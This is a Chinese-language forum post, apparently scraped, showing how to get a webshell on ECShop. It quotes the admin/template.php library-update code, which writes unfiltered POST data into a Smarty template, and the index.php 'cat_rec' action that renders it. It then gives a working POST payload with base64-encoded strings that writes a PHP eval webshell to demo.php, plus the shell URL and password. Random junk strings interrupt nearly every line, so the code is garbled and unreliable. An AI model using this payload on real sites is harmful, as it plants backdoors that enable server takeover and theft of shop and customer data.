首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 {! ?. w' t8 I, G# y- R
% Y* b8 J1 V0 ?! h而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
]8 b1 C5 @. \3 T% ?( U0 U! U+ q但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
% ^9 U3 O- Q% j1 j4 q# A/ W9 Padmin/template.php
' m2 R- r# J$ L6 i8 s
% o! W/ E- B1 D0 ]3 p1 if ($_REQUEST['act'] == 'update_library')
2 O# b @5 [0 b g# U3 u6 p y4 f5 A9 g' Q5 L, d+ i
2
- Q& e6 ~" r5 A- b* p# H( X( h, m+ e8 S0 h% h' v% Z" Z
3 {
1 c6 b0 ^+ h% T: N, u0 R- g; p6 B9 U- }
4 check_authz_json('library_manage'); ( i" u2 D2 y5 W# ]; F# z" a
( g$ U; @1 w) g+ W' B8 m
5
8 l: @# p8 N" k/ g0 C% a! d# t8 D4 [
6 $html = stripslashes(json_str_iconv($_POST['html']));
4 \8 X5 A5 C9 F* z) G0 ?! \8 T+ i# P+ e1 m6 U: Y( q) h
7 ; o: q6 _0 K3 R/ j
8 P/ I5 V+ K9 F$ P$ n! o
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 * }6 c$ N9 k1 l2 s
5 D$ K+ m( r) |- G0 R! {5 F
9
6 P& q4 Y( N E) O! ?
" @. l2 K: j" u5 u10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
; C2 e$ [& h$ {) j( F8 Z) u2 \- M( e. m5 N$ [: W( P A( s
11
1 X6 x3 r6 `1 x5 G9 P% a6 E" d6 J* u" Q2 I+ g; H
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, H4 Y8 B% T1 K9 V7 g7 K2 T9 m2 a* [) u- [
13
0 m$ A4 _. s9 C8 }1 y
) c8 y) Q0 V5 s+ n; v. q14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
u$ \8 ~- ]7 r# B8 `7 |8 B2 _! y& n2 f) X6 T d+ i
15 { + O7 B/ n& m; ]) u( V
; w( V6 n8 [8 ~16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); * d$ Q+ Z) @* }
+ x( ]* `* A9 x17 make_json_result('', $_LANG['update_lib_success']);
- K l$ ~* W" P7 U& \1 @$ G3 m2 c9 S/ r9 i5 ?+ Z
18 }
4 s1 `; ~ S1 }' |( T4 ]4 n K
$ L& t% q* B3 p, Q19 else R8 a/ L/ U. S" K$ O0 ~
+ A6 ~, @, Y3 ?+ g
20 { % v n, W6 _4 y( z4 f
# {1 ?6 j$ b/ }6 P) n. c
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); $ W4 x* r% @. }$ M
4 G C7 H4 R1 z. {6 _9 `/ B
22 } ' u9 G/ |2 Q# e) _+ @" x( y/ H% J0 E, U
9 }) N2 ]' S% i4 ~2 Q
23 }
& j. J# U* d2 C4 }* F$ k, c9 L8 g2 i; T8 X8 l+ f" W( v+ ^. [4 x! u& F/ v
那么找个比较方便调用了模板的文件/ `3 h3 i' p+ T+ Z2 w
index.php
, F/ ^$ V; N( _ B: ^* s; v# O& R3 j
1 if ($act == 'cat_rec')
# w8 K/ Q* Z' s. K2 |5 _% u( M' k6 D
2 # N! r4 K) F* b3 K
$ W. ]& t% j: c# ~, m3 {
0 g2 i( G6 Z- ?" z! g9 B1 u7 ?
/ @5 S1 w: [3 N4
( _4 {+ s1 \0 R
6 ?6 H% n( S8 i3 m5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
# l7 E" D8 A; L$ t
6 U8 D6 y. Q |! f' n6 w# `6
6 w# l$ _+ v, \' g5 G' ]) R9 K' `- r4 r' m0 } I6 i/ G5 w
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
Y7 } P- f; Z0 X8 k8 X' r: X- N% X! l4 U' R
8 & Y: I0 o- F* q( U7 d. C
4 N+ l8 `# }5 @( C9 w ]. X9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 2 { v" l% E" ]$ C
4 v, I: R; a. c6 E) K' n+ r: Z10 & u3 Y Z" @5 c: E/ D' E
! y. A9 s5 g% c8 ~% x
11 include_once('includes/cls_json.php');
( Z) [: _7 N9 S+ A" u- U8 j2 `. ^8 k1 s4 R. S F7 i( f
12 & J0 L: G4 R, f4 B8 {. y
% R: e, w2 {6 x* i D9 q4 e/ |13 $json = new JSON; ; {: Q3 q, C& P3 ]+ N+ y6 Z
( w, G: i2 M) [6 X1 E8 ?14
- L# @, G4 ^1 c) R
! ^ \0 h N$ Y3 Q15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 4 N% }' U5 e3 ]0 e2 m
* w/ v# p) V9 Z' C16
% S( [( B; t. z' j( m( h5 O9 |7 `, x8 S% H- \; k
17 $children = get_children($cat_id); . T: y+ |9 y5 |! m* G" n( a
- T% W8 B& c* @& O3 M
18 + m% S6 w3 D* y) G, g/ O+ o
1 n, l5 i5 y6 s19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
2 m6 y: f; d4 l+ x* |% n* \* Q# U! t. v( V3 s' I D& u6 D# N
20
+ E# M- e- D' e
& L6 n5 R. @0 j+ S% ?3 B21 $smarty->assign('cat_rec_sign', 1); % T# }3 K# @; J& D6 R) P( H2 T
; P: D6 [( S# N9 M
22
, p- y8 n, q- O8 k; s: T' s4 G% e2 J0 R8 W/ F1 I
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
$ [1 r0 N" x, q& P4 k9 L% ?( ]) d9 P
24
8 ~6 q- H3 P, T/ d- c, ?/ n5 |9 ~7 V. o3 T% g1 ?
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
7 @9 j( ~ l1 M* A. p
# k4 n" s' u: ^0 @+ V F# {" W26 $ o! J9 P* {5 U( E
, e. [& p4 N% w ^" n' F0 o
27 echo $rec_array[$rec_type]; : z) x! y. E, U5 }" p P$ ?4 h3 R
2 D: p& p2 s i28 4 v+ }% X( d$ @0 _8 t9 H1 A
# U# e7 O, @0 S* Z1 O- }/ A29 die($json->encode($result));
. u- f- _7 L, ?# b: Q$ s
; x5 `6 Q% D- \4 c, X30 0 M/ @( u* p! e% K% D
) H8 D4 f2 k0 D3 d. o. a31 }
+ ?4 I- ] G5 I* D# |( I7 j+ t! A: ~: g
那么就有利用方法了
T1 p; E5 h# g+ {post包到http://localhost/ec/admin/template.php?act=update_library+ O2 g* Y% }3 V/ t# ^
Post内容:# T% C5 {: @; v- I
" N( ^1 U+ y0 e# }' c& O* |
7 ^4 i/ A9 `7 x9 a0 A) x
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
7 L8 t3 Z9 x; S) {$ I5 e0 q0 k, ]
然后访问http://localhost/ec/index.php?act=cat_rec
/ ?- T/ o3 _ a4 E. f$ _
: I s# X1 m4 P+ ?1 o9 \& {* fshel地址:http://localhost/ec/demo.php
. t" T) D$ k4 ?3 ? x k8 S/ K密码c
/ T& W3 S, M4 ~% P$ D' B0 W( k* u9 B2 s& B x5 @/ t) G
|